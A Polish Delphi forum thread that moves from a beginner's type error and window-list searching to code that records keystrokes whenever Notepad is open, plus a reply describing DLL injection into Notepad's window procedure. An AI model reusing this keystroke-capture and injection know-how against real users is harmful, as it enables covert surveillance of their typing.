niedawno zaczalem pisanie w delphi.
mam taki fragment kodu
if (Listbox1.Items=x) then ShowMessage('znaleziono') else ('nie znaleziono');
x jest stringiem,
i wyskakuje problem z typami zmiennych:
"Incompatybile types: 'String' and 'Tstrings'
jak powinien wygladac ten kod aby dzialal poprawnie?
problem z typami zmiennych (instrukacja if) delphi
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
teraz jest taki blad:
statement expected, but expression of type 'String' found.
x ma przypisany ciag znakow
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Tuchów
- Postów: 12269
Wklej cały kod, bo z tego nic nie wiadomo i nie można jasno określić problemu; Po drugie posłuż się guglami i znajdź to, co oznacza ww error; Z resztą w pomocy delphi o tym możesz na pewno przeczytać;
Jeżeli typy by się zgadzały to nie ma mowy o błędzie; Musi być gdzieś indziej, ale podałeś tylko linię warunku;
Zapewne podczas debugowania wykrył byś błąd. skorzystaj więc z niego;
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
procedure TForm1.Button1Click(Sender: TObject);
function EnumWindowsProc(WHandle: HWND; LParM: LParam): Boolean;StdCall;Export;
var Title,ClassName:array[0..128] of char;
sTitle,sClass,Linia:STRING ;
x:string;
begin
x:=('notepad');
//Listbox1.clear;
Result:=True;
GetWindowText(wHandle, Title,128);
GetClassName(wHandle, ClassName,128);
sTitle:=Title;
sClass:=ClassName;
if IsWindowVisible(wHandle) then
begin
Linia:=sTitle+' '+sClass+' '+IntToHex(wHandle,4);
Form1.Listbox1.Items.Add(Linia);
end;
if Listbox1.Items[1]=x then ShowMessage('znaleziono') else ('nie znaleziono');
end;
begin
EnumWindows(@EnumWindowsProc,0);
end;
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
zamienilem if'a na dodatkowy przycisk:
procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;
For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje' ;
ListBox2.Items.Add(ListBox1.Items[i])
end
else
label1.Caption:='slowo nie istnieje';
end;
i tu wystepuje problem ktorego nie rozumiem, bo do Edit1 wpisuje nazwe jakiegos okna i program wyswietla jego nazwe w Listbox2 ale w label1 zamist pojawic sie 'slowo istnieje' pojawia sie 'slowo nie istnieje'
- Rejestracja: dni
- Ostatnio: dni
- Postów: 819
W label1 będzie napis wynikający z tego czy ostatni item z listbox1 zawiera s
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
a no tak, nie przemyslalem tego ;)
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??
- Rejestracja: dni
- Ostatnio: dni
a zeby wpisywal do Label1 'slowo istnieje' musze zastosowac jeszcze jedna petle czy da rade jakos szybciej to zalatwic??
Instrukcją break lub exit. Pewnie jest jeszcze pare sposobów ale te najprostsze.
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
ale break przerwie dzialanie funkcji i nie sprawdzi dalej czy podany wyraz sie powtarza
chce zeby znajdywal wszystkie okna z Listbox1 o podanej nazwie, a gdy tylko jakas zmienial Label1 na 'znaleziono', ale chce wyswietlac wszystkie
- Rejestracja: dni
- Ostatnio: dni
- Postów: 819
procedure TForm1.Button2Click(Sender: TObject);
var
S : String;
I:Integer;
begin
S:=Edit1.Text;
label1.Caption:='slowo nie istnieje';//wstępnie
For I:=0 to ListBox1.Items.Count-1 do
If Pos(S, ListBox1.Items[i])>0 then
begin
label1.Caption:='slowo istnieje';
ListBox2.Items.Add(ListBox1.Items[i]);
end;
end;
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
ja wlasnie kombinowalem cos w tym kierunku, zrobilem troche po swojemu ale to bedzie lepsze. dzieki za pomoc
- Rejestracja: dni
- Ostatnio: dni
- Postów: 8
ten kod nie zawsze dziala. powinien on pobierac wpisywane klawisze w momencie uruchomienia notatnika, czasem to dziala jest tak jak nalezy, w momencie zamknietego notatnika nie robi nic, a podczas gdy jest otwarty zapisuje je, jednakze w wiekszosci przypadkow po kompilacji program ten nie znajduje takiego okna jak notatnik i pobiera klawisze bez wzgeldu na jego obecnosc. co powinienem poprawic?? i co dodac jezeli chcialbym uwzglednic wewnetzne okno w ktrym sie wpisuje do Notatnika?
procedure TForm1.KeySpyXP1Key(Sender: TObject; key: String);
var
H: HWND;
function FindWindow(lpClassName, lpWindowName: PChar): HWND; stdcall;
var
NextHandle: Hwnd;
NextTitle: array[0..260] of char;
begin
NextHandle := GetWindow(Application.Handle, GW_HWNDFIRST);
while NextHandle > 0 do
begin
GetWindowText(NextHandle, NextTitle, 255);
if Pos(UpperCase(lpClassName), UpperCase(StrPas(NextTitle))) <> 0 then
begin
Result := NextHandle;
Exit;
end
else
NextHandle := GetWindow(NextHandle, GW_HWNDNEXT);
end;
Result := 0;
end;
begin
h := FindWindow('Notatnik',nil);
if h <> 0 then
begin
if key[1]='{' then
memo1.lines.add(key) else
memo1.Text:=memo1.text+key
end
end;
- Rejestracja: dni
- Ostatnio: dni
co powinienem poprawic
Powinieneś użyć DEBUGGERA żeby znaleźć powód dla którego nie działa. Poszukaj w google z czym to sie je.
(Z pozdrowieniami dla Madmike)
- Rejestracja: dni
- Ostatnio: dni
- Lokalizacja: Szczecin
- Postów: 4191
Przeanalizuj sobie dołączony do mojego posta kod. Wprawdzie może się wydawać Tobie, że to nieco zaawansowane, ale dzięki injekcji dllki mogę podmienić funkcję obsługi okna notatnika, a w kodzie a_spy.dpr zobaczysz jak prawidłowo ustalam okno edycyjne Notatnika. Całośc pisana w WinAPI aby było zgrabniej i zajmowało mniej. Całośc kompilowana w Delphi 7 z użyciem innych, zoptymalizowanych modułów do pobrania z: http://kolmck.net/sys/SysDcu7.zip dzięki czemu i pomimo spakowania całości exeka UPX'em, plik wynikowy jest jeszcze mniejszy. W razie pytań pisz, ale uważam że wszystko powinno być łatwe do ogarnięcia, bo starałem się pisać - w miarę moich możłiwości - przejrzyśty kod